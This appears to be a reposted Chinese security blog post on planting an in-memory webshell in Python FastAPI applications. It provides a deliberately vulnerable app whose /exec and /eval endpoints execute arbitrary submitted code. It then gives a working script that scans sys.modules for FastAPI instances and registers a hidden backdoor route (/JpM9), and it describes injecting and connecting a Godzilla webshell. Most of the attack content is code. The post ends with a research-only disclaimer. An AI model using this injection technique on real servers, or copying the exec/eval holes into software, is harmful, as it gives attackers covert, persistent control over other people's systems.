文章总结: 本文介绍FastApi内存马注入技术,核心在于遍历sys.modules获取FastAPI应用实例并动态添加恶意路由。文章提供漏洞环境代码与注入脚本,演示了利用代码执行漏洞植入后门及哥斯拉连接过程,为Python内存马防御提供实战参考。 综合评分: 85 文章分类: WEB安全,红队,渗透测试,漏洞POC,实战经验
【安全工具】Python内存马之FastApi内存马
原创
whoami0002
SecurityPaper
2026年1月3日 17:18 江苏
FastApi内存马
前几天看了一下langflow的代码执行漏洞,于是就有了这篇基于FastApi内存马的文章
首先我们搭建一个FastApi环境
fromfastapiimportFastAPI, HTTPException
frompydanticimportBaseModel
app=FastAPI(
title="FastAPI Code Executor",
description="ASGI application with /exec and /eval endpoints"
)
classCodePayload(BaseModel):
code: str
classExecResponse(BaseModel):
status: str
namespace: dict|None=None
error: str|None=None
type: str|None=None
classEvalResponse(BaseModel):
status: str
result: str|None=None
error: str|None=None
type: str|None=None
@app.post('/exec', response_model=ExecResponse)
asyncdefexecute_code(payload: CodePayload):
"""Execute code using exec()"""
try:
namespace= {}
exec(payload.code, namespace)
# Returnanyresultstoredinnamespace (excludingbuiltins)
result= {k: str(v) fork, vinnamespace.items() ifnotk.startswith('__')}
returnExecResponse(status='success', namespace=result)
exceptExceptionase:
raiseHTTPException(
status_code=500,
detail={'status': 'error', 'error': str(e), 'type': type(e).__name__}
)
@app.post('/eval', response_model=EvalResponse)
asyncdefevaluate_code(payload: CodePayload):
"""Evaluate code using eval()"""
try:
result=eval(payload.code)
returnEvalResponse(status='success', result=str(result))
exceptExceptionase:
raiseHTTPException(
status_code=500,
detail={'status': 'error', 'error': str(e), 'type': type(e).__name__}
)
@app.get('/')
asyncdefindex():
"""Index route with API info"""
return {
'framework': 'FastAPI',
'type': 'ASGI',
'routes': {
'/exec': 'POST - Execute code with exec()',
'/eval': 'POST - Evaluate expression with eval()'
},
'payload_format': {'code': 'your_code_here'},
'docs': '/docs'
}
if__name__=='__main__':
importuvicorn
uvicorn.run(app, host='0.0.0.0', port=5003)
注入内存马最重要的就是获取上下文中的fastapi对象,如何获取呢
在python中所有已经被加载的模块都存入到了sys.modules这个字典中
例如遍历已加载的对象
这个时候我们可以通过遍历sys.modules来找到fastapi对象
在调试窗口中执行此代码,可以看见已经找到了fastapi对象
编写注入代码
importsys
fromfastapiimportFastAPI, Request, Response
found_apps= []
formoduleinsys.modules.values():
ifmoduleisNone:
continue
try:
module_dict=vars(module)
forname, objinmodule_dict.items():
ifisinstance(obj, FastAPI):
app_info= (module.__name__, name, obj)
found_apps.append(app_info)
definject_shell(app: FastAPI):
@app.post('/JpM9')
@app.get('/JpM9')
asyncdefshell(request: Request):
try:
body=awaitrequest.body()
returnResponse(content=b"WEBSHELL: "+body,
media_type="application/octet-stream")
exceptException:
returnResponse(content=b"Error", status_code=500)
print(f"[+] 成功注入后门路由 /JpM9 到 {app.titleor'Unknown App'} ({name})")
inject_shell(obj)
exceptExceptionase:
pass
print("找到并注入的 FastAPI 实例:", found_apps)
成功注入
通过exec注入哥斯拉内存马
成功连接
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:SecurityPaper whoami0002《【安全工具】Python内存马之FastApi内存马》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论